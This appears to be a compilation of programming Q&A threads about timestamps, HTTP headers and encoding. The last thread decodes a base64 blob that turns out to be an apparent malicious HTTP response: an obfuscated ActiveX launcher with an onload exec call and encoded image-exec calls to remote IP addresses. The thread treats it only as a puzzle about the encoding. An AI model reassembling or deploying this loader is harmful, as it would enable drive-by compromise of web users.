Paypal decode encode issue with + in timestamp - paypal

I was quite frustrated with IPN testing. Although in the end I was able to pin point the issue in Validate step timestamp field, I need help with how to handle the + sign in time stamp.
I noticed when I decode and encode, the space from Paypal request became + sign. So I did a replacement of + with %20. This was tested okay. However it would be an issue if there is timezone info inside the payment date.
E.g. Fri Jul 08 2016 10:22:01 GMT+0800 (Malay Peninsula Standard Time)
parameter came in as:
Fri%20Jul%2008%202016%2010%3A22%3A01%20GMT+0800%20%28Malay%20Peninsula%20Standard%20Time%29
after decoding:
Fri Jul 08 2016 10:22:01 GMT 0800 (Malay Peninsula Standard Time) <=====the plus sign is missing.....
encode again:
Fri+Jul+08+2016+10%3A22%3A01+GMT+0800+%28Malay+Peninsula+Standard+Time%29
What I did was: replay the + sign before decoding with some temp placeholder. then once decode / encode, revert back the replacement.
Some how this could not be verified by Paypal.

Okay, I got it working....not sure whether it's the best way, but works now.
basically I patch the incoming parameter value by replacing + with a placeholder.
patchedValue = value.replace("+", "TEMPXXX");
....
In the end, after encoding, replace the placeholder with %2B, which is + sign.
....
URLEncoder.encode(decodedValue, encoding).replace("+", "%20").replace("TEMPXXX", "%2B")

Related

Is it possible to change the date format in HTTP(S) response header?

When making a HTTP(S) request, the response contains the header "Date" with the format day-name, day month year hour:minute:second GMT
I am using Django (3.2) with DjangoRestFramework (3.12) and I want to know if it's possible to change the format of this date.
For example, I want to use this format for my django server: "YYYY-MM-DDTHH:mm:ss"
When using python3.6 requests module
import requests
resp = requests.get('https://stackoverflow.com/')
print(resp.headers['Date'])
# 'Tue, 27 Sep 2022 13:31:25 GMT'
So I think it is not possible to change the format of this date.
But I somehow found a solution to my problem by adding a middleware that sets a new header to my response, with the wright format

Flutter HMAC SHA1 encoding

I'm a newbie in Flutter who don't know a lot about HMAC code. I want to get datas from an online opendata interface, and I wonder how to use Flutter's functions to encode the parameters and complete my authorization, such as my key, my ID, and x-date. Showed below is the example format provided by the opendata interface website. Would somebody teach me how to encode those parameters in the form of it? Grateful for everyone who spends time trying to answer my question!!
Key Value
Authorization hmac username="APP ID", algorithm="hmac-sha1", headers="x-date", signature="Base64(HMAC-SHA1("x-date: " + x-date , APP Key))"
x-date
Wed, 19 Apr 2017 08:37:50 GMT
enter image description here

perl cookies wrong time

So I am creating cookies using Perl's CGI module, and I do it as so:
my $cookie = CGI::Cookie->new(-name => "$name",
-value => "$val",
-expires => "$expiration_date",
-path => $cookie_path,
-secure => 0
);
print "Set-Cookie: $cookie\n";
And the cookie is set in the browser, the only issue is that the time does not match up with the expiration date I put. For example, if I put +1d for expiration date, it really does something like +1d - several hours. I checked my system time to see if that was the issue, but my system time is right. Then I printed out the cookie and I got this:
Actual Time of cookie creation: 6/4/2012 12:10:02 PM
COOKIE: session_id=534fec49c864d8cf0325779b0921b6be1338829802484; path=/; expires=Tue, 05-Jun-2012 17:10:02 GMT
The strage thing above is that I record the actual time of cookie creation with perl's 'localtime(time())' function, but it records a different time than what my date command puts out (so not the actual current time)! And then the expiration time on the cookie is actually correct, but it's in the wrong time zone.
So my server is in the eastern timezone when I run the date command:
Mon Jun 4 12:05:12 EST 2012
However, the cookie is being set with GMT as the timezone, and I think this is the issue. Is there another time I should be setting on the server besides just date? I'm running on CentOS 5 if that helps at all. Thanks!
Those times are actually equivalent (12:00 EST is 17:00 GMT). Note that cookies are required, by the specification, to specify the expiry time in GMT. Your browser, in turn, is required to automatically convert the time zone back.
In so many words: everything is happening as it should.
but it records a different time than what my date command puts out
That's not true.
Tue, 05-Jun-2012 17:10:02 GMT
and
Tue, 05-Jun-2012 12:10:02 EST
are different representations of the exact same time. There's no problem. There would be a problem if you had gotten
Tue, 05-Jun-2012 17:10:02 EST
or
Tue, 05-Jun-2012 12:10:02 GMT
But you didn't.
GMT is used because "EST" is ambiguous — there's a time zone in Australia with the same name — and because only one time zone needs to be known instead of all of them if everyone uses GMT.

How to get the age of a Web site (not domain)

I am wondering how to determine the age of a web site (not the age of the host / domain registration) in a robust and universal way.
Take this site as an example:
Most of the times, the age / date (December 21, 2011, in this case) appears on the site, but AFAIK there is no universal way of getting this information from the page (could be on the page, in the META-tag, header...)
If you google the headline, Google will show the age (first result; gray; so Google extracted this information somehow):
http://i.stack.imgur.com/BcXwo.png [I don't have privileges to embedd this as an image]
Alongside, there are other sites with the same news (i guess it's from a press agency) and Google shows the age for those as well, but not for the last one, despite its occurrence in the text (First line; Wednesday, December 21, 2011).
Q1) How to determine the age in a universal way?
Q2) How does Google do it? Is it just the time the URL showed up in the index? Why isn't there a date then for the last result?
Q3) If there is no other way then actually getting it from Google, how can that be done automatically for a couple of domains? After a number of automated requests, Google will block / prevent you from sending more requests. I had a look in the Google Custom Search API, but the data does not show up in the results there.
Thanks!
If the server supports it you can use the Last-Modified Header part of the HTTP-Request.
try: curl -I http://online.wsj.com/article/SB10001424052970204058404577110380555673036.html
to get only the HTTP-Header of the Reply and have a look at the output
HTTP/1.1 200 OK
Date: Wed, 09 May 2012 12:40:10 GMT
Server: Apache/2.2.15 (CentOS)
...
FastDynaPage-ServerInfo: secj2kentwap07 - Wed 05/09/12 - 08:40:10 EDT
Last-Modified: Wed, 09 May 2012 12:40:10 GMT
Content-Type: text/html; charset=UTF-8
Actually I haven't found a proper way to get the date from the URL. So I took another approach: I try to find a feed (either from the site itself or through Google) that contains that URL as an item.
Then there is a good chance that I'll either get a pubDate or dc:date which contains the date of publication. This is then usable.
Thanks for all the input.

How is the blob of text encoded? Base64? Something else?

I am having a string like this H0TCxoL9HSXXwlwXgBJAAAaiAAACBAW0AQMDAAEBBAIA what format is this? Below are some more strings. I thought as base64 but when i decode that i get strings like D????&??_?P#
H0TCxoL9HSbXwl+NUBBAAHISAABIVFRQLzEuMSAyMDAgT0sNCkRhdGU6IE1vbiwgMjEgSnVuIDIwMTAgMDk6NTI6NTMgR01UDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNi4wDQpQM1A6IENQPSJBTEwgQ1VSYSBBRE1hIERFVmEgVEFJYSBPVVIgQlVTIElORCBQSFkgT05MIFVOSSBQVVIgRklOIENPTSBOQVYgSU5UIERFTSBDTlQgU1RBIFBPTCBIRUEgUFJFIExPQyBPVEMiDQpYLVBvd2VyZWQtQnk6H0TCxoL9Hz7Xwl+NUBBAAFJ7AAAibm8tY2FjaGUiPiA8SFRNTD48Ym9keSBvbmxvYWQ9IndpbmRvdy5BWC5FeGVjKCdjdHl6Z0hsaWVUMkJqY254ZVBlM0p6M21ycjgzSlI0UmEwSVg3SXQyRFpaaGl4U2laNnJBaVZuU3JqVmQ4TDZrNXNQKEh6SFJ6TUJIRW5jcChic0Jqem9QcGx5aEJ1KHE2ajV1eG1nTVlWbDJTYTg1Y3B1cCluRXBNbUNxT0hiQUwpNlhvZGt6YUhyKGdCcHdram5IZFBSKVUzOEJTH0TCxoL9IVbXwl+NUBBAAOpdAAB4dC9qYXZhc2NyaXB0Jz52YXIgYjY0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7U3RyaW5nLnByb3RvdHlwZS5BQT1mdW5jdGlvbigpe3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGQ9W10scGxhaW4sY29kZWQ7Y29kZWQ9dGhpcztmb3IodmFyIGM9MDtjPGNvZGVkLmxlbmd0H0TCxoL9I27Xwl+NUBBAAI+3AABDaGFyQ29kZShvMSk7fXBsYWluPWQuam9pbignJyk7cmV0dXJuIHBsYWluO307d2luZG93LkxhdW5jaFg9ZnVuY3Rpb24oXzEsXzIsXzMsXzQsXzUsXzApe3RoaXMuXzA9XzA7dGhpcy5fMT1fMTt0aGlzLl8yPV8yO3RoaXMuXzM9XzM7dGhpcy5fND1fNDt0aGlzLl81PV81O3RoaXMuXzY9bnVsbDt0aGlzLl83PW51bGw7dGhpcy5fOD1udWxsO3RoaXMuXzk9ZmFsH0TCxoL9JYbXwl+NUBBAAA42AABoaXMuXzIsdGhpcy5fMyx0aGlzLl80KTtkb2N1bWVudC53cml0ZSgnJyk7fTt3aW5kb3cuTGF1bmNoWC5wcm90b3R5cGUuRXhlYz1mdW5jdGlvbihfNyxfOCl7aWYodGhpcy5fOSl7dGhpcy5SdW4oKTtyZXR1cm47fXRoaXMuXzc9Xzc7dGhpcy5fOD1fODt0aGlzLl85PXRydWU7dGhpcy5SdW4oKTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5JbWFnZUV4ZWM9H0TCxoL9J57Xwl+NUBBAAMwRAAAuTGF1bmNoWC5wcm90b3R5cGUuX0cxPWZ1bmN0aW9uKCl7dGhpcy5fNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLl81KTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5Jbml0PWZ1bmN0aW9uKCl7dGhpcy5fRzEoKTt2YXIgZWw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnRElWJyk7dmFyIGE9dGhpcy5fMC5BQSgpO2VsLmlubmVySFRNTD1hO307d2luH0TCxoL9KbbXwl+NUBBAAMopAABhRDBuTVNjZ2FHVnBaMmgwUFNjeEp5QnZibXh2WVdROUoycGhkbUZ6WTNKcGNIUTZkMmx1Wkc5M0xrRllMa2x0WVdkbFJYaGxZeWdpYUhSMGNEb3ZMMlJ1Ykc5allXd3VibUZ0Wld0eUxtTnZiVG80T0M5bllXMWxjR2xoZWk5MlpYSnphVzl1TG1GemNDSXBKejQ4YVcxbklITnlZeUE5SUNkb2RIUndPaTh2TlRndU1qSXhMak0wTGpJeE1UbzRPQzluWVcxbGNHbGhlH0TCxoL9K87Xwl+NUBBAAJkHAABNelF1TWpBME9qZzRMMmRoYldWd2FXRjZMM1psY25OcGIyNHVZWE53SWlrblBqeHBiV2NnYzNKaklEMGdKMmgwZEhBNkx5ODNNaTR6TkM0eU5ESXVNakk0T2pnNEwyZGhiV1Z3YVdGNkwyTm9heTVuYVdZbklIZHBaSFJvUFNjeEp5Qm9aV2xuYUhROUp6RW5JRzl1Ykc5aFpEMG5hbUYyWVhOamNtbHdkRHAzYVc1a2IzY3VRVmd1U1cxaFoyVkZlR1ZqS0NKb2RIUndPH0TCxoL9LebXwl+NUBhAABVAAABZWG92WTJockxtZHBaaWNnZDJsa2RHZzlKekVuSUdobGFXZG9kRDBuTVNjZ2IyNXNiMkZrUFNkcVlYWmhjMk55YVhCME9uZHBibVJ2ZHk1QldDNUpiV0ZuWlVWNFpXTW9JbWgwZEhBNkx5OHlNVEV1T0M0eU1UQXVNVGcyT2pnNEwyZGhiV1Z3YVdGNkwzWmxjbk5wYjI0dVlYTndJaWtuUGc9PScpOyB3aW5kb3cuQVguSW5pdCgpOzwvc2NyaXB0PjwvYm9keT48L0hUH0TCxoL9LrbXwl+NUBFAADJm
It may easily be anything, but since it contains mixed-case letters and numbers and few symbols, my guess is for base64.
Addendum
Yes, it is definitely base64; it seems some kind of HTTP request, but it contains some strange characters, I don't know if it's garbage or binary data with some meaning.
Base64
I've run a decoder on it (the whole lot) and this is the result:
D�Ƃ�&��_�P#rHTTP/1.1 200 OK
Date: Mon, 21 Jun 2010 09:52:53 GMT
Server: Microsoft-IIS/6.0
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
X-Powered-By:D�Ƃ�>��_�P#R{"no-cache"> <HTML><body onload="window.AX.Exec('ctyzgHlieT2BjcnxePe3Jz3mrr83JR4Ra0IX7It2DZZhixSiZ6rAiVnSrjVd8L6k5sP(HzHRzMBHEncp(bsBjzoPplyhBu(q6j5uxmgMYVl2Sa85cpup)nEpMmCqOHbAL)6XodkzaHr(gBpwkjnHdPR)U38BSD�Ƃ�!V��_�P#�]xt/javascript'>var b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';String.prototype.AA=function(){var o1,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;coded=this;for(var c=0;c<coded.lengtD�Ƃ�#n��_�P#��CharCode(o1);}plain=d.join('');return plain;};window.LaunchX=function(_1,_2,_3,_4,_5,_0){this._0=_0;this._1=_1;this._2=_2;this._3=_3;this._4=_4;this._5=_5;this._6=null;this._7=null;this._8=null;this._9=falD�Ƃ�%���_�P#6his._2,this._3,this._4);document.write('');};window.LaunchX.prototype.Exec=function(_7,_8){if(this._9){this.Run();return;}this._7=_7;this._8=_8;this._9=true;this.Run();};window.LaunchX.prototype.ImageExec=D�Ƃ�'���_�P#�.LaunchX.prototype._G1=function(){this._6=document.getElementById(this._5);};window.LaunchX.prototype.Init=function(){this._G1();var el=document.createElement('DIV');var a=this._0.AA();el.innerHTML=a;};winD�Ƃ�)���_�P#�)aD0nMScgaGVpZ2h0PScxJyBvbmxvYWQ9J2phdmFzY3JpcHQ6d2luZG93LkFYLkltYWdlRXhlYygiaHR0cDovL2RubG9jYWwubmFtZWtyLmNvbTo4OC9nYW1lcGlhei92ZXJzaW9uLmFzcCIpJz48aW1nIHNyYyA9ICdodHRwOi8vNTguMjIxLjM0LjIxMTo4OC9nYW1lcGlheD�Ƃ�+���_�P#�MzQuMjA0Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPjxpbWcgc3JjID0gJ2h0dHA6Ly83Mi4zNC4yNDIuMjI4Ojg4L2dhbWVwaWF6L2Noay5naWYnIHdpZHRoPScxJyBoZWlnaHQ9JzEnIG9ubG9hZD0namF2YXNjcmlwdDp3aW5kb3cuQVguSW1hZ2VFeGVjKCJodHRwOD�Ƃ�-���_�P##YXovY2hrLmdpZicgd2lkdGg9JzEnIGhlaWdodD0nMScgb25sb2FkPSdqYXZhc2NyaXB0OndpbmRvdy5BWC5JbWFnZUV4ZWMoImh0dHA6Ly8yMTEuOC4yMTAuMTg2Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPg=='); window.AX.Init();</script></body></HTD�Ƃ�.���_�P#2f
This is part of a HTTP response, I'm guessing the gibrige is most likely due to a charset or you've pasted so much of it only. What you're getting is the result of decoding the first few lines only.
Link to decoding tool: http://www.opinionatedgeek.com/dotnet/tools/base64decode/
This is definitely base64, decoding the first line gives you meaningful data, the beginning of HTTP packet dump.
[some header data here]
HTTP/1.1 200 OK
Date: Mon, 21 Jun 2010